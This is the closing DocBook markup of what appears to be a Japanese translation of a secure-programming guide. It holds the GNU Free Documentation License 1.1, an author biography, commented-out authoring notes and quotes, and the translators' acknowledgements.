  <title>GNU Free Documentation License</title>
  <para>
    Version 1.1, March 2000
  </para>
  
  <para>
    Copyright &copy; 2000 
    <address>
      Free Software Foundation, Inc. 
      <street>59 Temple Place, Suite 330</street>, 
      <city>Boston</city>, 
      <state>MA</state>  
      <postcode>02111-1307</postcode>  
      <country>USA</country>
    </address> 
    Everyone is permitted to copy and distribute verbatim copies of this license
    document, but changing it is not allowed.
  </para>
  
  <variablelist>
    <varlistentry id="fdl-preamble">
      <term>0. PREAMBLE</term>
      <listitem>
	<para>
	  The purpose of this License is to make a manual, textbook, or other
	  written document "free" in the sense of freedom: to assure everyone
	  the effective freedom to copy and redistribute it, with or without
	  modifying it, either commercially or noncommercially. Secondarily,
	  this License preserves for the author and publisher a way to get
	  credit for their work, while not being considered responsible for
	  modifications made by others.
	</para>
	
	<para>
	  This License is a kind of "copyleft", which means that derivative
	  works of the document must themselves be free in the same sense. It
	  complements the GNU General Public License, which is a copyleft
	  license designed for free software.
	</para>
	
	<para>
	  We have designed this License in order to use it for manuals for free
	  software, because free software needs free documentation: a free
	  program should come with manuals providing the same freedoms that the
	  software does. But this License is not limited to software manuals; it
	  can be used for any textual work, regardless of subject matter or
	  whether it is published as a printed book. We recommend this License
	  principally for works whose purpose is instruction or reference.
	</para>
      </listitem>
    </varlistentry>
    <varlistentry id="fdl-section1">
      <term>1. APPLICABILITY AND DEFINITIONS</term>
      <listitem>
	<para id="fdl-document">
	  This License applies to any manual or other work that contains a
	  notice placed by the copyright holder saying it can be distributed
	  under the terms of this License. The <link
	  linkend="fdl-document">"Document" </link>, below, refers to any such
	  manual or work. Any member of the public is a licensee, and is
	  addressed as "you".
	</para>
	
	<para id="fdl-modified">
	  A <link linkend="fdl-modified">"Modified Version"</link> of the
	  Document means any work containing the Document or a portion of it,
	  either copied verbatim, or with modifications and/or translated into
	  another language.
	</para>
	
	<para id="fdl-secondary">
	  A <link linkend="fdl-secondary">"Secondary Section"</link> is a named
	  appendix or a front-matter section of the <link
	  linkend="fdl-document">Document</link> that deals exclusively with the
	  relationship of the publishers or authors of the <link
	  linkend="fdl-document"> Document</link> to the <link
	  linkend="fdl-document"> Document's</link> overall subject (or to
	  related matters) and contains nothing that could fall directly within
	  that overall subject. (For example, if the <link
	  linkend="fdl-document">Document</link> is in part a textbook of
	  mathematics, a <link linkend="fdl-secondary">Secondary Section</link>
	  may not explain any mathematics.)  The relationship could be a matter
	  of historical connection with the subject or with related matters, or
	  of legal, commercial, philosophical, ethical or political position
	  regarding them.
	</para>

	<para id="fdl-invariant">
	  The <link linkend="fdl-invariant">"Invariant Sections"</link> are
	  certain <link linkend="fdl-secondary"> Secondary Sections</link> whose
	  titles are designated, as being those of <link
	  linkend="fdl-invariant">Invariant Sections</link>, in the notice that
	  says that the <link linkend="fdl-document">Document</link> is released
	  under this License.
	</para>

	<para id="fdl-cover-texts">
	  The <link linkend="fdl-cover-texts">"Cover Texts"</link> are certain
	  short passages of text that are listed, as <link
	  linkend="fdl-cover-texts">Front-Cover Texts</link> or <link
	  linkend="fdl-cover-texts">Back-Cover Texts</link>, in the notice that
	  says that the <link linkend="fdl-document">Document</link> is released
	  under this License.
	</para>
	
	<para id="fdl-transparent">
	  A <link linkend="fdl-transparent">"Transparent"</link> copy of the
	  <link linkend="fdl-document"> Document</link> means a machine-readable
	  copy, represented in a format whose specification is available to the
	  general public, whose contents can be viewed and edited directly and
	  straightforwardly with generic text editors or (for images composed of
	  pixels) generic paint programs or (for drawings) some widely available
	  drawing editor, and that is suitable for input to text formatters or
	  for automatic translation to a variety of formats suitable for input
	  to text formatters. A copy made in an otherwise <link
	  linkend="fdl-transparent"> Transparent</link> file format whose markup
	  has been designed to thwart or discourage subsequent modification by
	  readers is not <link linkend="fdl-transparent">Transparent</link>.  A
	  copy that is not <link linkend="fdl-transparent">"Transparent"</link>
	  is called "Opaque".
	</para>
	
	<para>
	  Examples of suitable formats for <link
	  linkend="fdl-transparent">Transparent</link> copies include plain
	  ASCII without markup, Texinfo input format, LaTeX input format, SGML
	  or XML using a publicly available DTD, and standard-conforming simple
	  HTML designed for human modification. Opaque formats include
	  PostScript, PDF, proprietary formats that can be read and edited only
	  by proprietary word processors, SGML or XML for which the DTD and/or
	  processing tools are not generally available, and the
	  machine-generated HTML produced by some word processors for output
	  purposes only.
	</para>
	
	<para id="fdl-title-page">
	  The <link linkend="fdl-title-page">"Title Page"</link> means, for a
	  printed book, the title page itself, plus such following pages as are
	  needed to hold, legibly, the material this License requires to appear
	  in the title page. For works in formats which do not have any title
	  page as such, <link linkend="fdl-title-page"> "Title Page"</link>
	  means the text near the most prominent appearance of the work's title,
	  preceding the beginning of the body of the text.
	</para>
      </listitem>
    </varlistentry>
    
    <varlistentry id="fdl-section2">
      <term>2. VERBATIM COPYING</term>
      <listitem>
	<para>
	  You may copy and distribute the <link
	  linkend="fdl-document">Document</link> in any medium, either
	  commercially or noncommercially, provided that this License, the
	  copyright notices, and the license notice saying this License applies
	  to the <link linkend="fdl-document">Document</link> are reproduced in
	  all copies, and that you add no other conditions whatsoever to those
	  of this License. You may not use technical measures to obstruct or
	  control the reading or further copying of the copies you make or
	  distribute. However, you may accept compensation in exchange for
	  copies. If you distribute a large enough number of copies you must
	  also follow the conditions in <link linkend="fdl-section3">section
	  3</link>.
	</para>
	
	<para>
	  You may also lend copies, under the same conditions stated above, and
	  you may publicly display copies.
	</para>
      </listitem>
    </varlistentry>
    
    <varlistentry id="fdl-section3">
      <term>3. COPYING IN QUANTITY</term>
      <listitem>
	<para>
	  If you publish printed copies of the <link
	  linkend="fdl-document">Document</link> numbering more than 100, and
	  the <link linkend="fdl-document">Document's</link> license notice
	  requires <link linkend="fdl-cover-texts">Cover Texts</link>, you must
	  enclose the copies in covers that carry, clearly and legibly, all
	  these <link linkend="fdl-cover-texts">Cover Texts</link>:  Front-Cover
	  Texts on the front cover, and Back-Cover Texts on the back cover. Both
	  covers must also clearly and legibly identify you as the publisher of
	  these copies. The front cover must present the full title with all
	  words of the title equally prominent and visible. You may add other
	  material on the covers in addition. Copying with changes limited to
	  the covers, as long as they preserve the title of the <link
	  linkend="fdl-document">Document</link> and satisfy these conditions,
	  can be treated as verbatim copying in other respects.
	</para>
	
	<para>
	  If the required texts for either cover are too voluminous to fit
	  legibly, you should put the first ones listed (as many as fit
	  reasonably) on the actual cover, and continue the rest onto adjacent
	  pages.
	</para>
	
	<para>
	  If you publish or distribute <link
	  linkend="fdl-transparent">Opaque</link> copies of the <link
	  linkend="fdl-document">Document</link> numbering more than 100, you
	  must either include a machine-readable <link
	  linkend="fdl-transparent">Transparent</link> copy along with each
	  <link linkend="fdl-transparent">Opaque</link> copy, or state in or
	  with each <link linkend="fdl-transparent">Opaque</link> copy a
	  publicly-accessible computer-network location containing a complete
	  <link linkend="fdl-transparent"> Transparent</link> copy of the <link
	  linkend="fdl-document">Document</link>, free of added material, which
	  the general network-using public has access to download anonymously at
	  no charge using public-standard network protocols. If you use the
	  latter option, you must take reasonably prudent steps, when you begin
	  distribution of <link linkend="fdl-transparent">Opaque</link> copies
	  in quantity, to ensure that this <link
	  linkend="fdl-transparent">Transparent</link> copy will remain thus
	  accessible at the stated location until at least one year after the
	  last time you distribute an <link
	  linkend="fdl-transparent">Opaque</link> copy (directly or through your
	  agents or retailers) of that edition to the public.
	</para>
	
	<para>
	  It is requested, but not required, that you contact the authors of the
	  <link linkend="fdl-document">Document</link> well before
	  redistributing any large number of copies, to give them a chance to
	  provide you with an updated version of the <link
	  linkend="fdl-document">Document</link>.
	</para>
      </listitem>
    </varlistentry>
    
    <varlistentry id="fdl-section4">
      <term>4. MODIFICATIONS</term>
      <listitem>
	<para>
	  You may copy and distribute a <link linkend="fdl-modified">Modified
	  Version</link> of the <link linkend="fdl-document">Document</link>
	  under the conditions of sections <link linkend="fdl-section2">2</link>
	  and <link linkend="fdl-section3">3</link> above, provided that you
	  release the <link linkend="fdl-modified">Modified Version</link> under
	  precisely this License, with the <link linkend="fdl-modified">Modified
	  Version</link> filling the role of the <link
	  linkend="fdl-document">Document</link>, thus licensing distribution
	  and modification of the <link linkend="fdl-modified">Modified
	  Version</link> to whoever possesses a copy of it. In addition, you
	  must do these things in the <link linkend="fdl-modified">Modified
	  Version</link>:
	</para>
	
	<orderedlist numeration="upperalpha">
	  <listitem>
	      <para>
		Use in the <link linkend="fdl-title-page">Title Page</link> (and
		on the covers, if any) a title distinct from that of the <link
		linkend="fdl-document">Document</link>, and from those of
		previous versions (which should, if there were any, be listed in
		the History section of the <link
		linkend="fdl-document">Document</link>). You may use the same
		title as a previous version if the original publisher of that
		version gives permission.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		List on the <link linkend="fdl-title-page">Title Page</link>, as
		authors, one or more persons or entities responsible for
		authorship of the modifications in the <link
		linkend="fdl-modified">Modified Version</link>, together with at
		least five of the principal authors of the <link
		linkend="fdl-document">Document</link> (all of its principal
		authors, if it has less than five).
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		State on the <link linkend="fdl-title-page">Title Page</link>
		the name of the publisher of the <link
		linkend="fdl-modified">Modified Version</link>, as the
		publisher.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		Preserve all the copyright notices of the <link
		linkend="fdl-document">Document</link>.
	      </para>
	  </listitem>

	  <listitem>
	      <para>
		Add an appropriate copyright notice for your modifications
		adjacent to the other copyright notices.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		Include, immediately after the copyright notices, a license
		notice giving the public permission to use the <link
		linkend="fdl-modified">Modified Version</link> under the terms
		of this License, in the form shown in the Addendum below.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		Preserve in that license notice the full lists of <link
		linkend="fdl-invariant"> Invariant Sections</link> and required
		<link linkend="fdl-cover-texts">Cover Texts</link> given in the
		<link linkend="fdl-document">Document's</link> license notice.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		Include an unaltered copy of this License.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		Preserve the section entitled "History", and its title, and add
		to it an item stating at least the title, year, new authors, and
		publisher of the <link linkend="fdl-modified">Modified Version
		</link>as given on the <link linkend="fdl-title-page">Title
		Page</link>.  If there is no section entitled "History" in the
		<link linkend="fdl-document">Document</link>, create one stating
		the title, year, authors, and publisher of the <link
		linkend="fdl-document">Document</link> as given on its <link
		linkend="fdl-title-page">Title Page</link>, then add an item
		describing the <link linkend="fdl-modified">Modified
		Version</link> as stated in the previous sentence.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		Preserve the network location, if any, given in the <link
		linkend="fdl-document">Document</link> for public access to a
		<link linkend="fdl-transparent">Transparent</link> copy of the
		<link linkend="fdl-document">Document</link>, and likewise the
		network locations given in the <link
		linkend="fdl-document">Document</link> for previous versions it
		was based on. These may be placed in the "History" section. You
		may omit a network location for a work that was published at
		least four years before the <link
		linkend="fdl-document">Document</link> itself, or if the
		original publisher of the version it refers to gives permission.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		In any section entitled "Acknowledgements" or "Dedications",
		preserve the section's title, and preserve in the section all
		the substance and tone of each of the contributor
		acknowledgements and/or dedications given therein.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		Preserve all the <link linkend="fdl-invariant">Invariant
		Sections</link> of the <link
		linkend="fdl-document">Document</link>, unaltered in their text
		and in their titles.  Section numbers or the equivalent are not
		considered part of the section titles.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		Delete any section entitled "Endorsements". Such a section may
		not be included in the <link linkend="fdl-modified">Modified
		Version</link>.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		Do not retitle any existing section as "Endorsements" or to
		conflict in title with any <link
		linkend="fdl-invariant">Invariant Section</link>.
	      </para>
	  </listitem>
	</orderedlist>
	
	<para>
	  If the <link linkend="fdl-modified">Modified Version</link> includes
	  new front-matter sections or appendices that qualify as <link
	  linkend="fdl-secondary">Secondary Sections</link> and contain no
	  material copied from the Document, you may at your option designate
	  some or all of these sections as invariant. To do this, add their
	  titles to the list of <link linkend="fdl-invariant">Invariant
	  Sections</link> in the <link linkend="fdl-modified">Modified
	  Version's</link> license notice. These titles must be distinct from
	  any other section titles.
	</para>
	
	<para>
	  You may add a section entitled "Endorsements", provided it contains
	  nothing but endorsements of your <link linkend="fdl-modified">Modified
	  Version</link> by various parties--for example, statements of peer
	  review or that the text has been approved by an organization as the
	  authoritative definition of a standard.
	</para>
	
	<para>
	  You may add a passage of up to five words as a <link
	  linkend="fdl-cover-texts">Front-Cover Text</link>, and a passage of up
	  to 25 words as a <link linkend="fdl-cover-texts">Back-Cover
	  Text</link>, to the end of the list of <link
	  linkend="fdl-cover-texts">Cover Texts</link> in the <link
	  linkend="fdl-modified">Modified Version</link>.  Only one passage of
	  <link linkend="fdl-cover-texts">Front-Cover Text</link> and one of
	  <link linkend="fdl-cover-texts">Back-Cover Text</link> may be added by
	  (or through arrangements made by) any one entity. If the <link
	  linkend="fdl-document">Document</link> already includes a cover text
	  for the same cover, previously added by you or by arrangement made by
	  the same entity you are acting on behalf of, you may not add another;
	  but you may replace the old one, on explicit permission from the
	  previous publisher that added the old one.
	</para>
	
	<para>
	  The author(s) and publisher(s) of the <link
	  linkend="fdl-document">Document</link> do not by this License give
	  permission to use their names for publicity for or to assert or imply
	  endorsement of any <link linkend="fdl-modified">Modified Version
	  </link>.
	</para>
      </listitem>
    </varlistentry>
    
    <varlistentry id="fdl-section5">
      <term>5. COMBINING DOCUMENTS</term>
      <listitem>
	<para>
	  You may combine the <link linkend="fdl-document">Document</link> with
	  other documents released under this License, under the terms defined
	  in <link linkend="fdl-section4">section 4</link> above for modified
	  versions, provided that you include in the combination all of the
	  <link linkend="fdl-invariant">Invariant Sections</link> of all of the
	  original documents, unmodified, and list them all as <link
	  linkend="fdl-invariant">Invariant Sections</link> of your combined
	  work in its license notice.
	</para>

	<para>
	  The combined work need only contain one copy of this License, and
	  multiple identical <link linkend="fdl-invariant">Invariant
	  Sections</link> may be replaced with a single copy. If there are
	  multiple <link linkend="fdl-invariant"> Invariant Sections</link> with
	  the same name but different contents, make the title of each such
	  section unique by adding at the end of it, in parentheses, the name of
	  the original author or publisher of that section if known, or else a
	  unique number. Make the same adjustment to the section titles in the
	  list of <link linkend="fdl-invariant">Invariant Sections</link> in the
	  license notice of the combined work.
	</para>
	
	<para>
	  In the combination, you must combine any sections entitled "History"
	  in the various original documents, forming one section entitled
	  "History"; likewise combine any sections entitled "Acknowledgements",
	  and any sections entitled "Dedications". You must delete all sections
	  entitled "Endorsements."
	</para>
      </listitem>
    </varlistentry>
    
    <varlistentry id="fdl-section6">
      <term>6. COLLECTIONS OF DOCUMENTS</term>
      <listitem>
	<para>
	  You may make a collection consisting of the <link
	  linkend="fdl-document">Document</link> and other documents released
	  under this License, and replace the individual copies of this License
	  in the various documents with a single copy that is included in the
	  collection, provided that you follow the rules of this License for
	  verbatim copying of each of the documents in all other respects.
	</para>
	
	<para>
	  You may extract a single document from such a collection, and
	  distribute it individually under this License, provided you insert a
	  copy of this License into the extracted document, and follow this
	  License in all other respects regarding verbatim copying of that
	  document.
	</para>
      </listitem>
    </varlistentry>
    
    <varlistentry id="fdl-section7">
      <term>7. AGGREGATION WITH INDEPENDENT WORKS</term>
      <listitem>
	<para>
	  A compilation of the <link linkend="fdl-document">Document</link> or
	  its derivatives with other separate and independent documents or
	  works, in or on a volume of a storage or distribution medium, does not
	  as a whole count as a <link linkend="fdl-modified">Modified
	  Version</link> of the <link linkend="fdl-document"> Document</link>,
	  provided no compilation copyright is claimed for the compilation.
	  Such a compilation is called an "aggregate", and this License does not
	  apply to the other self-contained works thus compiled with the <link
	  linkend="fdl-document">Document</link> , on account of their being
	  thus compiled, if they are not themselves derivative works of the
	  <link linkend="fdl-document">Document</link>.  If the <link
	  linkend="fdl-cover-texts">Cover Text</link> requirement of <link
	  linkend="fdl-section3">section 3</link> is applicable to these copies
	  of the <link linkend="fdl-document">Document</link>, then if the <link
	  linkend="fdl-document">Document</link> is less than one quarter of the
	  entire aggregate, the <link linkend="fdl-document">Document's</link>
	  <link linkend="fdl-cover-texts">Cover Texts</link> may be placed on
	  covers that surround only the <link
	  linkend="fdl-document">Document</link> within the aggregate. Otherwise
	  they must appear on covers around the whole aggregate.
	</para>
      </listitem>
    </varlistentry>
    
    <varlistentry id="fdl-section8">
      <term>8. TRANSLATION</term>
      <listitem>
	<para>
	  Translation is considered a kind of modification, so you may
	  distribute translations of the <link
	  linkend="fdl-document">Document</link> under the terms of <link
	  linkend="fdl-section4">section 4</link>. Replacing <link
	  linkend="fdl-invariant"> Invariant Sections</link> with translations
	  requires special permission from their copyright holders, but you may
	  include translations of some or all <link
	  linkend="fdl-invariant">Invariant Sections</link> in addition to the
	  original versions of these <link linkend="fdl-invariant">Invariant
	  Sections</link>. You may include a translation of this License
	  provided that you also include the original English version of this
	  License. In case of a disagreement between the translation and the
	  original English version of this License, the original English version
	  will prevail.
	</para>
      </listitem>
    </varlistentry>
    
    <varlistentry id="fdl-section9">
      <term>9. TERMINATION</term>
      <listitem>
	<para>
	  You may not copy, modify, sublicense, or distribute the <link
	  linkend="fdl-document">Document</link> except as expressly provided
	  for under this License. Any other attempt to copy, modify, sublicense
	  or distribute the <link linkend="fdl-document">Document</link> is
	  void, and will automatically terminate your rights under this
	  License. However, parties who have received copies, or rights, from
	  you under this License will not have their licenses terminated so long
	  as such parties remain in full compliance.
	</para>
      </listitem>
    </varlistentry>
    
    <varlistentry id="fdl-section10">
      <term>10. FUTURE REVISIONS OF THIS LICENSE</term>
      <listitem>
	<para>
	  The <ulink type="http" url="http://www.gnu.org/fsf/fsf.html">Free
	  Software Foundation</ulink> may publish new, revised versions of the
	  GNU Free Documentation License from time to time. Such new versions
	  will be similar in spirit to the present version, but may differ in
	  detail to address new problems or concerns. See <ulink type="http"
	  url="http://www.gnu.org/copyleft">http://www.gnu.org/copyleft/</ulink>.
	</para>
	
	<para>
	  Each version of the License is given a distinguishing version
	  number. If the <link linkend="fdl-document">Document</link> specifies
	  that a particular numbered version of this License "or any later
	  version" applies to it, you have the option of following the terms and
	  conditions either of that specified version or of any later version
	  that has been published (not as a draft) by the Free Software
	  Foundation. If the <link linkend="fdl-document">Document</link> does
	  not specify a version number of this License, you may choose any
	  version ever published (not as a draft) by the Free Software
	  Foundation.
	</para>
      </listitem>
    </varlistentry>

    <varlistentry id="fdl-using">
      <term>Addendum</term>
      <listitem>
	<para>
	  To use this License in a document you have written, include a copy of
	  the License in the document and put the following copyright and
	  license notices just after the title page:
	</para>

	<para>
	  Copyright &copy; YEAR  YOUR NAME.
	</para>

	<para>
	  Permission is granted to copy, distribute and/or modify this document
	  under the terms of the GNU Free Documentation License, Version 1.1 or
	  any later version published by the Free Software Foundation; with the
	  <link linkend="fdl-invariant">Invariant Sections</link> being LIST
	  THEIR TITLES, with the <link linkend="fdl-cover-texts">Front-Cover
	  Texts</link> being LIST, and with the <link
	  linkend="fdl-cover-texts">Back-Cover Texts</link> being LIST.  A copy
	  of the license is included in the section entitled <quote>GNU Free
	  Documentation License</quote>.
	</para>

	<para>
	  If you have no <link linkend="fdl-invariant">Invariant
	  Sections</link>, write "with no Invariant Sections" instead of saying
	  which ones are invariant.  If you have no <link
	  linkend="fdl-cover-texts">Front-Cover Texts</link>, write "no
	  Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise
	  for <link linkend="fdl-cover-texts">Back-Cover Texts</link>.
	</para>

	<para>
	  If your document contains nontrivial examples of program code, we
	  recommend releasing these examples in parallel under your choice of
	  free software license, such as the <ulink type="http"
	  url="http://www.gnu.org/copyleft/gpl.html"> GNU General Public
	  License</ulink>, to permit their use in free software.
	</para>
	<para>
【訳註：日本語訳については、OSG-JP にある 
<ulink url="http://www.opensource.jp/fdl/fdl.ja.txt">GNU FDL
(フリー文書利用許諾契約書) 日本語訳</ulink>を参考にしてください】
	</para>
      </listitem>
    </varlistentry>
  </variablelist>
</appendix>  

<!-- 【訳註】
GNU FDL にしたがい下記の「Endorsements」は原文をコメントアウトし、
掲載しません。
-->
<!-- 
<appendix id="endorsements">
<title>Endorsements</title>
<para>
This version of the document is endorsed by the
original author, David A. Wheeler, as a document that
should improve the security of programs.
when applied correctly.
Modifications (including translations) must remove this appendix
per the license agreement included above.
</para>
</appendix>
-->

<appendix id="about-author">
<title>About the Author</title>
<para>
David A. Wheeler is an expert in computer security and
has long specialized in development techniques for large and
high-risk software systems.
He has been involved in software development
since the mid-1970s,
and been involved with Unix and computer security since the early 1980s.
His areas of knowledge include computer security,
software safety, vulnerability analysis, inspections, Internet technologies,
software-related standards (including POSIX),
real-time software development techniques,
and numerous computer languages
(including Ada, C, C++, Perl, Python, and Java).
</para>

<para>
Mr. Wheeler is co-author and lead editor of the IEEE book
<emphasis>Software Inspection: An Industry Best Practice</emphasis>,
author of the book
<emphasis>Ada95: The Lovelace Tutorial</emphasis>,
and co-author of the
<emphasis>GNOME User's Guide</emphasis>.
He is also the author of many smaller papers and articles, including the
Linux <emphasis>Program Library HOWTO</emphasis>.
</para>

<para>
Mr. Wheeler hopes that, by making this document available, other
developers will make their software more secure.
You can reach him by email at dwheeler@dwheeler.com (no spam please),
and you can also see his web site at
<ulink url="http://www.dwheeler.com">http://www.dwheeler.com</ulink>.
【訳註：この「About the Author」は GNU FDL が定める「変更不可部分
(Invariant Sections)」に指定してあるので、原文をそのまま掲載します】
</para>
</appendix>


<!--Miscellaneous quotes:
    Do not deprive the alien or the fatherless of justice,
    or take the cloak of the widow as a pledge.
            Deuteronomy 24:17


   Words from a wise man's mouth are gracious, but a fool is consumed
   by his own lips. At the beginning his words are folly;
   at the end they are wicked madness
             Ecclesiastes 10:12-13



   I took the deed of purchase - the sealed copy containing the
   terms and conditions, as well as the unsealed copy -
         Jeremiah 32:11 (English-NIV)


   Esther had not revealed her nationality and family background,
   because Mordecai had forbidden her to do so.
            Esther 2:10


   When the righteous thrive, the people rejoice;
   when the wicked rule, the people groan.
            Proverbs 29:2

   When words are many, sin is not absent, but he who holds his tongue is wise.
          Proverbs 10:19


   Reckless words pierce like a sword,
   but the tongue of the wise brings healing.
            Proverbs 12:18


   "Go and inquire of the LORD for me and for the people and for all Judah
   about what is written in this book that has been found.
   Great is the LORD's anger that burns against us because our fathers
   have not obeyed the words of this book; they have not acted in
   accordance with all that is written there concerning us."
            2 Kings 22:13

   Only be careful, and watch yourselves closely so that you do not forget
   the things your eyes have seen or let them slip from your heart
   as long as you live. Teach them to your children and to their
   children after them.
            Deuteronomy 4:9

   You prepare a table before me
   in the presence of my enemies.
   You anoint my head with oil;
   my cup overflows.   Psalm 23:5 (NIV)

   An enemy will overrun the land; he will pull down your strongholds and
   plunder your fortresses."
   Amos 3:11

    But my brothers are as undependable as intermittent streams,
    as the streams that overflow
     Job 6:15

???:  http://soledad.cs.ucdavis.edu/
 describes Linux BSM, an auditing project.

 ???: Could add a discussion of legal issues and requirements,
 U.S. and internationally.

??? Discuss formal proofs.


Per http://www.linuxdoc.org/LDP/LDP-Author-Guide/images.html,
the template for images is:
 <figure>
    <title>LyX screen shot</title>
    <mediaobject>
       <imageobject>
          <imagedata fileref="lyx_screenshot.eps" format="eps">
       </imageobject>
       <imageobject>
          <imagedata fileref="lyx_screenshot.jpg" format="jpg">
       </imageobject>
       <textobject>
          <phrase>Screen shot of the LyX document processing program</phrase>
       </textobject>
    </mediaobject>
 </figure>


-->
<appendix id="acknowledgementsOfJapaneseTranslation">
<title>日本語版謝辞</title>
<para>
翻訳を行うに当たって、下記の方々にお世話になりました。この場をかりて
お礼申し上げます。ありがとう、皆さん！
<itemizedlist>
<listitem><para>
野首 貴嗣さん
</para></listitem>
<listitem><para>
えだ ゆきひこさん
</para></listitem>
<listitem><para>
小川 英範さん
</para></listitem>
<listitem><para>
武井 伸光さん
</para></listitem>
<listitem><para>
小林 雅典さん
</para></listitem>
<listitem><para>
川崎 貴彦さん
</para></listitem>
<listitem><para>
山下 義之さん
</para></listitem>
<listitem><para>
宮川 寧夫さん
</para></listitem>
</itemizedlist>
</para>
</book>
